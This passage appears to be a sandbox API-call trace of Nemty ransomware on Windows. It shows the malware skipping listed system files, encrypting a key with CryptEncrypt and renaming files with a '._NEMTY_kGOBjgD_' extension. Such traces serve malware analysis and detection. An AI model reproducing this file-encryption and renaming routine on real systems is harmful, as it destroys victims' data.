lpOverlapped=0x0) returned 0 [0165.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.103] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.103] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.112] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.112] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.121] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.121] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.121] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.121] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.138] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.138] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.147] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.147] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.147] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.147] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.157] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.157] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.157] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.157] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.166] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.166] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.176] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.176] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.176] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.176] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.186] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.186] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.195] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.195] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.195] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.195] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.203] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.203] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.209] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.210] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.210] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0165.210] CloseHandle (hObject=0xffffffff) returned 0 [0165.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0165.210] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0165.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0165.210] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0165.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0165.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0165.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0165.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0165.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0165.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0165.210] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\search_background.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\search_background.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\search_background.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\search_background.png._nemty_kgobjgd_")) returned 0 [0165.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0165.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0165.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0165.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0165.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0165.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0165.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0165.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0165.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0165.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0165.210] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876c97b4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x876c97b4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x309c7e7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x758e, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked-loading.png", cAlternateFileName="")) returned 1 [0165.210] lstrcmpiW (lpString1="undocked-loading.png", lpString2=".") returned 1 [0165.210] lstrcmpiW (lpString1="undocked-loading.png", lpString2="..") returned 1 [0165.211] lstrcmpiW (lpString1="undocked-loading.png", lpString2="...") returned 1 [0165.211] lstrcmpiW (lpString1="undocked-loading.png", lpString2="windows") returned -1 [0165.211] lstrcmpiW (lpString1="undocked-loading.png", lpString2="$RECYCLE.BIN") returned 1 [0165.211] lstrcmpiW (lpString1="undocked-loading.png", lpString2="rsa") returned 1 [0165.211] lstrcmpiW (lpString1="undocked-loading.png", lpString2="NTDETECT.COM") returned 1 [0165.211] lstrcmpiW (lpString1="undocked-loading.png", lpString2="ntldr") returned 1 [0165.211] lstrcmpiW (lpString1="undocked-loading.png", lpString2="MSDOS.SYS") returned 1 [0165.211] lstrcmpiW (lpString1="undocked-loading.png", lpString2="IO.SYS") returned 1 [0165.211] lstrcmpiW (lpString1="undocked-loading.png", lpString2="boot.ini") returned 1 [0165.211] lstrcmpiW (lpString1="undocked-loading.png", lpString2="boot.ini") returned 1 [0165.211] lstrcmpiW (lpString1="undocked-loading.png", lpString2="AUTOEXEC.BAT") returned 1 [0165.211] lstrcmpiW (lpString1="undocked-loading.png", lpString2="ntuser.dat") returned 1 [0165.211] lstrcmpiW (lpString1="undocked-loading.png", lpString2="desktop.ini") returned 1 [0165.211] lstrcmpiW (lpString1="undocked-loading.png", lpString2="CONFIG.SYS") returned 1 [0165.211] lstrcmpiW (lpString1="undocked-loading.png", lpString2="RECYCLER") returned 1 [0165.211] lstrcmpiW (lpString1="undocked-loading.png", lpString2="BOOTSECT.BAK") returned 1 [0165.211] lstrcmpiW (lpString1="undocked-loading.png", lpString2="bootmgr") returned 1 [0165.211] lstrcmpiW (lpString1="undocked-loading.png", lpString2="programdata") returned 1 [0165.211] lstrcmpiW (lpString1="undocked-loading.png", lpString2="appdata") returned 1 [0165.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0165.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked-loading.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0165.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0165.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked-loading.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked-loading.png", lpUsedDefaultChar=0x0) returned 20 [0165.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0165.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0165.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked-loading.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0165.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0165.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked-loading.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked-loading.png", lpUsedDefaultChar=0x0) returned 20 [0165.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0165.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0165.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0165.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0165.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked-loading.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0165.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0165.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked-loading.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked-loading.png", lpUsedDefaultChar=0x0) returned 20 [0165.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0165.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0165.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked-loading.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0165.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0165.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked-loading.png", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked-loading.png", lpUsedDefaultChar=0x0) returned 20 [0165.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0165.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0165.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0165.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0165.212] Sleep (dwMilliseconds=0x5) [0165.217] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x161fc750, dwHighDateTime=0x1d561e8)) [0165.217] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x161fc750, dwHighDateTime=0x1d561e8)) [0165.217] GetLastError () returned 0x5 [0165.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0165.217] GetLastError () returned 0x5 [0165.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0165.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0165.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0165.218] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0165.218] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0165.218] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0165.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0165.218] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="mTK0BjShY0Sw7EjODSe2Db8b/AIH+oRNDrcKzgRI3lXuNKEWD2jtgwIVANTmX/R4\r\nHnwvBuCWqee2uiDOgf9aWnpWnnNNiRFc6MoxThbxW2ZcqkILxYZJ6z/PbMbPDs8x\r\n9KexP2Qcij/b4nom9vBo8VTdzVwfXpEECmbuQyI4E4S6zY13UCx9xyz0YZFkpF7P\r\nNUaAN6BOpdFF11yGSF1Sxh6WuduAGc3EwTgayl6W0VBBIQa2TixZYNz/Bfq0ynms\r\nNTVk4MjymkS/YxHlNC3J1O5jJmcq7D/e6iC0f6pcV0/nQj6JSdfWM1l2ppjLejVG\r\nTD6FWBBqCsGb3RnmzxlVqw==\r\n", pcchString=0x653e91c) returned 1 [0165.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0165.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0165.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0165.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0165.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0165.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0165.218] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked-loading.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked-loading.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0165.219] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0165.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0165.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.219] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.228] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.228] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.228] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.228] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.239] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.239] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.239] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.239] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.248] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.248] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.248] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.248] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, 